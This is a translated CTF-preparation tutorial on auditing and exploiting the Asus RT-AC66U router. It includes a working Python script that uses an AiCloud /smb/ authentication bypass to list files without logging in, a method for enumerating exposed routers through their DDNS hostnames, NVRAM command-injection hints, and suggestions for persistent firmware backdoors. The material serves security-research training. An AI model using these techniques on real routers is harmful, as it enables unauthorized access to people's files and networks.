зламувати Asus RT-AC66U і готуємося до SOHOpelesslyBroken CTF

      Нарешті настав липень, час збиратися на DEFCON. Фолловьте @ defconparties в твіттері і визначайтеся, які містечка відвідати і на які доповіді сходити.
 
Цього року буде нове змагання — SOHOpelesslyBroken , від ISE і EFF. Мета Track 0 полягає в тому, щоб показати раніше невідомі уразливості в домашніх бездротових роутерах. Track 1 проходитиме в режимі CTF прямо під час DEFCON. CTFи завжди дуже веселі, а конкретно цей увазі злом реального заліза, що веселіше подвійно!
 
 image
 Ага, це моє робоче місце = P
 
Мене дуже цікавить EFF Open Wireless Router (перекладача, до слова, теж), але вони поки нічого не розповідають про пристрій. У правилах змагання значиться ASUS RT-AC66U (HW Ver. A2) [Version 3.0.0.4.266] в якості можливого пристрої для злому. У мене є зайвий RT-AC66U будинку, тому я вирішив написати невеликий туториал для всіх учасників змагання CTF
 
 
Розвідка
Насамперед, потрібно знайти прошивку і її вихідний код. На щастя, Asus RT-AC66U ліцензований під GPL, і не складає труднощів знайти вихідний код прошивки в інтернеті. Версія, яка використовується в CTF, стара, від 2012 року. Щоб проаналізувати прошивку трохи краще, ми візьмемо прошивку та вихідні коди версій від v3.0.0.4.266 до v3.0.0.4.376.1123 (остання версія на момент написання статті):
 
 Asus RT-AC66u v3.0.0.4.266 — прошивка
 Asus RT-AC66u v3.0.0.4.266 — вихідний код
 Asus RT-AC66u v3.0.0.4.376.1123 — прошивка
 Asus RT-AC66u v3.0.0.4.376.1123 — вихідний код
 
Безліч оновлень прошивки було випущено між цими двома версіями, тому ми подивимося історію їх змін:
 www.asus.com/Networking/RTAC66U/HelpDesk_Download/
 image
 
За правилами конкурсу, ми повинні виявити і експлуатувати 0-day уразливість. Можна з'єднати кілька різних вразливостей, щоб набрати побільше очок. Якщо виробник пропатчити вразливість без повідомлення про неї, а ви змогли її проексплуатувати, то вона все-ще буде вважатися 0-day вразливістю (давайте не будемо обговорювати термінологію).
 
Отже, у нас є вихідний код, настав час розпакувати і досліджувати його. CTF Field Guide від Trail of Bits містить хороші ресурси по аудиту вихідного коду . Можна використовувати утиліти, на кшталт Beyond Compare , Araxis Merge і WinMerge під Windows, або Meld , якщо ви використовуєте Linux.
Будемо працювати з Директорією "/ asuswrt / release / src / router /". Порівняємо дві версії через Meld:
 
 
У цього роутера вже є багато виявлених вразливостей. Якщо ви хочете знайти 0-day, вам потрібно переконатися, що уразливість не знайшли до вас (і, повірте, це найскладніша частина). Як приклад:
 
     
ASUS RT-AC66U Remote Root (Broadcom ACSD)
 ASUS RT-N66U Router — HTTPS Directory traversal and full file access and credential disclosure vuln
 Asus RT56U Remote Command Injection
 Taking over the ASUS RT-N56U and RT-AC66U
 Dear Asus router user: You've been pwned, thanks to easily exploited flaw (Asusgate)
 OSVDB
 
У вас віднімуть деяку кількість очок, якщо ваші експлоїти вимагають особливої ​​конфігурації системи або спеціальної інформації. Так що, якщо ви хочете набрати багато очок, вам варто націлюватися на стандартну конфігурацію сервісів і процесів.
 
 
У вкладці «Додатки USB» в RT-AC66U можна налаштувати деякі сервіси, начебто FTP, DLNA, NFS і Samba.
 
 
MiniDLNA теж відмінна мета. У ньому можна легко знайти уразливості, використовуючи дослідження Zachary Cutlip 'а, т.к. він ламав цю програму кілька разів.
 
 
Іншим потенційно вразливим сервісом є AiCloud — він з'єднує вашу домашню мережу за онлайн-сховищем і дає доступ з мобільного пристрою:
 
 
 
Forensic
Поки частина команди досліджує вихідний код, forensics-фахівці будуть розпаковувати прошивку з використанням binwalk і fmk:
 
 
Ви можете пам'ятати binwally — утиліту, яку я написав для знаходження різниці між двома бінарними деревами з використанням fuzzy hashing . У Binwalk є своя опція для проведення fuzzy hashing між файлами і директоріями.
 
 
Більшість виробників (на кшталт Asus) не відчиняють цілком весь код. Ймовірно, вам доведеться реверсом драйвери і бінарники, щоб знайти хорошу уразливість. Бінарник з ім'ям «ACSD» найцікавіший через те, що його прибрали з нових версій прошивки (v3.0.0.4.374.130 +) через вразливість , знайденої Jacob Holcomb .
 
 
Бінарники для MIPS Little Endian.
 
 
Також, важливо довідатися більше про файлову систему. У OpenWRT Wiki є чудова стаття про розмітку флеш-пам'яті . MTD в Linux дає доступ до флеш-пристроїв і дозволяє створювати повноцінні файлові системи на них. Можна зайти по ssh на пристрій і подивитися розмітку:
 
 
Розділ NVRAM дуже цінний для нас, в ньому зберігаються всі налаштування пристрою. Ви можемо подивитися його зміст просто сдампів потрібні розділ (mtd1) або виконавши команду nvram show :
 
 
 
 
Pmon — ще один цікавий розділ. Він містить дані, стислі LZMA, які використовує завантажувач для відновлення прошивки при невдалому оновленні.
 
 
 
 
 
Злом
Час почати чогось зламувати. Нам потрібні утиліти начебто gdb, gdbserver і strace для початку налагодження бінарників. Ми можемо їх або крос-компілювати, або налаштувати Optware / Entware і встановити зібрані пакети.
 
 
Wanduck (GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c) досить цікавий процес для аналізу. Він запускається за замовчуванням, і підніме псевдо-HTTP сервер на порту 18017. Цей HTTP-сервер перенаправляє кожен запит на головний інтерфейс і, з якоїсь причини, відкидає всі запити, які закінчуються на ". Ico".
 
 
Давайте розберемося, чому він так робить — запустимо gdbserver віддалено (gdbserver — multi localhost: 12345 &) і з'єднаємося будь-яким отладчиком на ваш розсуд. Якщо ви використовуєте IDA Pro, відкрийте бінарник і встановіть тип процесора в «mipsrl».
 
 
Знайдіть функцію handle_http_req і встановіть точку зупину на порівнянні dst_url:
 
 
Введіть host і port gdbserver'а в меню «Debugger / Process Options» та приєднуйтеся до потрібного PID.
 
 
 
 
Продовжіть виконання процесу (F9) і виконайте HTTP-запит на 192.168.1.1/x.ico . Отладчик зупиниться на заданій точці зупинки і ви зможете подивитися регістри і пам'ять.
 
 
Якщо ви хочете знайти інші цілі для дослідження, пошукайте їх в директорії «prebuilt» всередині «GPL_RT_AC66U_VER3004266/asuswrt/release/src/router /». Деякі цікаві бінарники:
 
     
/ acsd / prebuilt / acsd
 / webdav_client / prebuilt / webdav_client
 / asuswebstorage / prebuilt / asuswebstorage
 / eapd / linux / prebuilt / eapd
 / nas / nas / prebuilt / nas
 / flash / prebuilt / flash
 / et / prebuilt / et
 / wps / prebuilt / wps_monitor
 / ated / prebuilt / ated
 / wlconf / prebuilt / wlconf
 
Мобільний додаток AiCloud може розкрити більше цікавої інформації про роботу пристрою. Якщо ви разреверсіте APK, або використовуєте перехоплює проксі, ви зможете отримати первинний HTTP-запит програми:
 
 
 
 
 
 
Помітили дивний параметр ddns_hostname? Задачка на криптографію =) (перекладач так не вважає).
 
 
Криптографія
POST-запит намагається зареєструвати новий Dynamic DNS адреса пристрою, використовуючи сервіс asuscomm.com. Якщо ми пошукаємо цей рядок в исходниках RT-AC66U, то з легкістю знайдемо функцію, яка генерує адресу DDNS:
 
 
var isMD5DDNSName = function(){
var macAddr = '<% nvram_get("lan_hwaddr"); %>'.toUpperCase().replace(/:/g, "");
return "A"+hexMD5(macAddr).toUpperCase()+".asuscomm.com";
}

 
За інформацією з WikiDev , RT-AC66U використовує наступні ідентифікатори організації в MAC-адресах:
 
     
08:60:6 E (1 E, 1 W, 2011)
 10: BF: 48 (1 E, 2 W, 2011)
 30:85: A9 (3 E, 3 W, 2011)
 50:46:5 D (1 E, 2 W, 2012)
 
 
Використовуючи цю інформацію, ми можемо зіставити IP адреса кожного роутера, що використовує AiCloud. Просто згенеруємо список всіх можливих MAC-адрес і переберемо DNS-імена трюком mubix'а
 
 
Якщо вам занадто ліниво запускати команду, ви можете пошукати «asuscomm.com» на Shodan .
 
 
AiCloud за замовчуванням працює на портах 8082 і 443. Сам факт, що будь-яка людина може з легкістю отримати список роутерів, у яких запущено цей сервіс, повинен викликати занепокоєння, вірно?
 
Іншою цікавою криптографічного розминкою може бути розбір алгоритму для генерації WPS PIN-а пристрою. Ви можете отримати поточний PIN і secret_code, виконавши команду nvram show | grep-E secret_code | wps_device_pin ". Пошукайте ці значення у вихідному коді і використовуйте отриману інформацію для написання кейгена (і не забудьте додати чіптюн з pouet.net ).
 
 
 
 
Ви також можете перевірити ентропію ключів, згенерованих на пристрої. Гляньте слайди «Fast Internet-wide Scanning and its Security Applications» , щоб почерпнути пару ідей.
 
 
 
Веб
Є так багато технік для тестування веб-проникнень, що я сфокусують тільки на парі з них. У інтерфейсу роутера немає ніякого захисту від CSRF. Також є традиційний інжект в ping-команді і купа векторів XSS.
 
HTTP-демон заснований на microhttpd. Тут є базовий захист від виходу з директорії в httpd.c:
 
 
 
Ми можемо безсоромно поцупити ідею hackerfantastic і протестувати потенційні обходи захисту:
 
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    char *file;
    int len;
    file = argv[1];
    len = strlen(file);
    if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 )
    {
        printf ("Illegal filename:  %s\n", file);
    }
    else
    {
        printf ("Accepted filename: %s\n", file);
    }
    return 0;
}

 
 
 
У веб-сервері є деякі обробники MIME, які «повинні були бути прибрані»
 
// some should be removed
struct except_mime_handler except_mime_handlers[] = {
{ "QIS_*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},	
{ "qis/*", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},	
{ "*.css", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "state.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detect.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "popup.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "general.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "help.js", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_autodet.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "start_apply2.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "setting_lan.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "httpd_check.htm", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "status.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "automac.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "detecWAN.asp", MIME_EXCEPTION_NORESETTIME},
{ "detecWAN2.asp", MIME_EXCEPTION_NORESETTIME},
{ "WPS_info.asp", MIME_EXCEPTION_NORESETTIME},
{ "WAN_info.asp", MIME_EXCEPTION_NOAUTH_ALL|MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status.asp", MIME_EXCEPTION_NORESETTIME},
{ "result_of_get_changed_status_QIS.asp", MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME},
{ "result_of_detect_client.asp", MIME_EXCEPTION_NORESETTIME},
{ "Nologin.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "alertImg.gif", MIME_EXCEPTION_NOAUTH_ALL},
{ "error_page.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "jquery.js", MIME_EXCEPTION_NOAUTH_ALL},
{ "gotoHomePage.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_appstate.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_cloudstatus.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "get_webdavInfo.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.gz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.tgz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.zip", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.ipk", MIME_EXCEPTION_NOAUTH_ALL},
{ NULL, 0 }
};

 
Файл get_webdavInfo.asp доступний без аутентифікації і відображає велику кількість важливої ​​інформації про пристрій та мережі:
 
 
Ми можемо змінити значення змінних в nvram, щоб встановити XSS-бекдор на цій сторінці, наприклад:
 
 
Деякі операції використовують функіціі nvram_get і nvram_safe_get. Налаштування, буває, зберігаються через функцію nvram_set. Якщо роутер НЕ екранує дані, які отримує з NVRAM, то можна зробити щось на зразок NVRAM-ін'єкції (% 0A,% 0D і `reboot` завжди будуть вашими помічниками в цій справі).
 
AiCloud — дуже уразливий сервіс, який можна легко проексплуатувати . Як тільки ви активуєте його в настройках, на роутері запускається lighttpd на порту 8082 (або 443 на нових версіях прошивки) і пропонує дати доступ до ваших файлів онлайн. Прикол в тому, що діалог введення логіна і пароля можна обійти, додавши / smb / к URL (читайте исходники!)
 
 
 
 
Я написав невеликий скрипт для експлуатації цього бага в AiCloud на RT-AC66U v3.0.0.4.266. Він отримує всі файли і шляхи на роутері, в тому числі і з USB-пристроїв.
 
 
#!/usr/bin/python

from bs4 import BeautifulSoup
import urllib2
import sys

def list_dir(url, start_dir):
	try:
		html_page = urllib2.urlopen(url+start_dir)
	except urllib2.HTTPError as e:
		print e
		sys.exit(1)
	soup = BeautifulSoup(html_page)
	for link in soup.findAll('a'):
		path = link.get('uhref')
		if path != '../':
			is_dir = link.get('isdir')
			if  is_dir == str('1'):
				print url+path
				list_dir(url,path)
			else:
				print url+path

nargs = len(sys.argv)
if nargs == 2:
	url = sys.argv[1]
	start_dir = "/smb"
elif nargs == 3:
	url = sys.argv[1]
	start_dir = str(sys.argv[2])
else:
	print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure\
		  \nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354\
		  \nDisclosed by Kyle Lovett\
		  \nScript by Bernardo Rodrigues - http://w00tsec.blogspot.com\
		  \nUsage: python %s http://url [path]' % sys.argv[0]
	sys.exit(1)

list_dir(url, start_dir)

 
 
 
 
І наостанок, не забудьте порівняти різницю в файлах в директорії www. По цьому шляху знаходяться всі компоненти і скрипти, які використовуються в веб-інтерфейсі.
 
 
 
Бонус
Чому-б не спробувати відкрити кришку роутера, не пошкодивши гарантійну пломбу? Для цього вам знадобляться поради від хлопців з DEFCON Tamber Evident Village .
 
 
 
 
Інше (зразок висновку)
Злом Asus RT-AC66U — відмінна вправа для новачків у зломі роутерів. Велика частина вихідного коду є у вільному доступі, і можна знайти купу експлойтів і описів вразливостей для нього. Ви могли й не помітити, але ми протестували кожен пункт з OWASP Internet of Things Top 10 . Ходять чутки, що цей роутер буде в складі базової частини OWASP IoT Webgoat і Damn Vulnerable Embedded Linux.
 
Ось ще парочка підходів, які вам можуть дати додаткові очки в змаганні:
 
     
Перезапис коду завантажувача і створення dual-boot з backdoor
 Додавання backdoor в прошивку таким чином, щоб він не віддалявся при оновленні прошивки
 Окірпічіваніе роутера віддалено
 Перепрограмування LED на гру в PONG
 
Є ще купа речей, про які я хочу написати, але притримаю їх для наступних постів. Якщо ви маєте намір брати участь у SOHOpelesslyBroken CTF і знайшли цю статтю корисною, ви можете в будь-який час штовхнути мене і попити зі мною кави під час DEFCON / BsidesLV / Blackhat =)
  
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.